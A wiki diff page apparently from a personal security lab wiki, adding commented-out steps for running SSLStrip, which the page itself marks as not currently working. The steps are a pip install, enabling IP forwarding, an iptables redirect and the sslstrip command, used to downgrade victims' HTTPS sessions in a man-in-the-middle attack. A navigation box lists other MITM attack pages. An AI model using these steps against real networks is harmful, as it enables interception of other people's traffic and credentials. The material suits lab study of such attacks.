SSLStrip: Difference between revisions
From charlesreid1
No edit summary |
No edit summary |
||
| Line 1: | Line 1: | ||
<!-- | |||
NOT CURRENTLY WORKING. | |||
SSLStrip is a way of conducting a man in the middle attack such that the user inserts themselves between the sheep and the server for SSL sessions. | SSLStrip is a way of conducting a man in the middle attack such that the user inserts themselves between the sheep and the server for SSL sessions. | ||
Implements Moxie Marlinspike's HTTPS attacks. https://pypi.python.org/pypi/sslstrip | |||
=Setup= | |||
==Installing== | |||
Install SSLStrip with Python: | |||
<pre> | |||
$ pip install sslstrip | |||
</pre> | |||
==Running== | |||
To run SSLStrip, first enable IP packet forwarding. Normally, every packet that reaches a network device that isn't intended for that device is dropped. This changes that behavior so the packet is forwarded by default: | |||
<pre> | |||
$ echo "1" > /proc/sys/net/ipv4/ip_forward | |||
</pre> | |||
Now you'll set up SSLStrip to listen on a particular part, and you'll use iptables (a firewall utility for Unix) to listen for HTTPS traffic and forward it to SSLStrip: | |||
<pre> | |||
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 6666 | |||
</pre> | |||
Now SSLStrip will turn that HTTPS connection into HTTP, stripping it of its encryption layer. | |||
Run it: | |||
<pre> | |||
$ sslstrip.py -l 6666 | |||
</pre> | |||
--> | |||
{{MITMFlag}} | {{MITMFlag}} | ||
[[Category: | [[Category:SSLStrip]] | ||
[[Category:SSL]] | |||
Revision as of 23:34, 29 August 2015
| monkey in the middle attacks in which an attacker tricks two parties into thinking they're communicating with each other, but both are communicating with the attacker.
Wireless Attacks: MITM/Wireless Wired Attacks: MITM/Wired
Layer 1 and 2 MITM Attacks: Network Tap: MITM/Wired/Network Tap Evil Twin Attack: Evil Twin · MITM/Evil Twin
Layer 3 and 4 MITM Attacks:
ARP Poisoning: MITM/ARP Poisoning Traffic Injection/Modification: MITM/Traffic Injection DNS Attacks: MITM/DNS · Bettercap/Failed DNS Spoofing Attack · Bettercap/Failed DNS Spoofing Attack 2 DHCP Attacks: MITM/DHCP WPAD MITM Attack: MITM/WPAD Port Stealing: MITM/Port Stealing Rushing Attack: MITM/Rushing Attack Attacking HTTPS: MITM/HTTPS
Session Hijacking: MITM/Session Hijacking
Toolz:
SSLSniff · SSLStrip · Frankencert
MITM Labs: {{MITMLabs}}
Category:MITM · Category:Attacks · Category:Kali Attack Layers Template:MITMLabs · Template:MITMFlag Flags · Template:MITMFlag · e |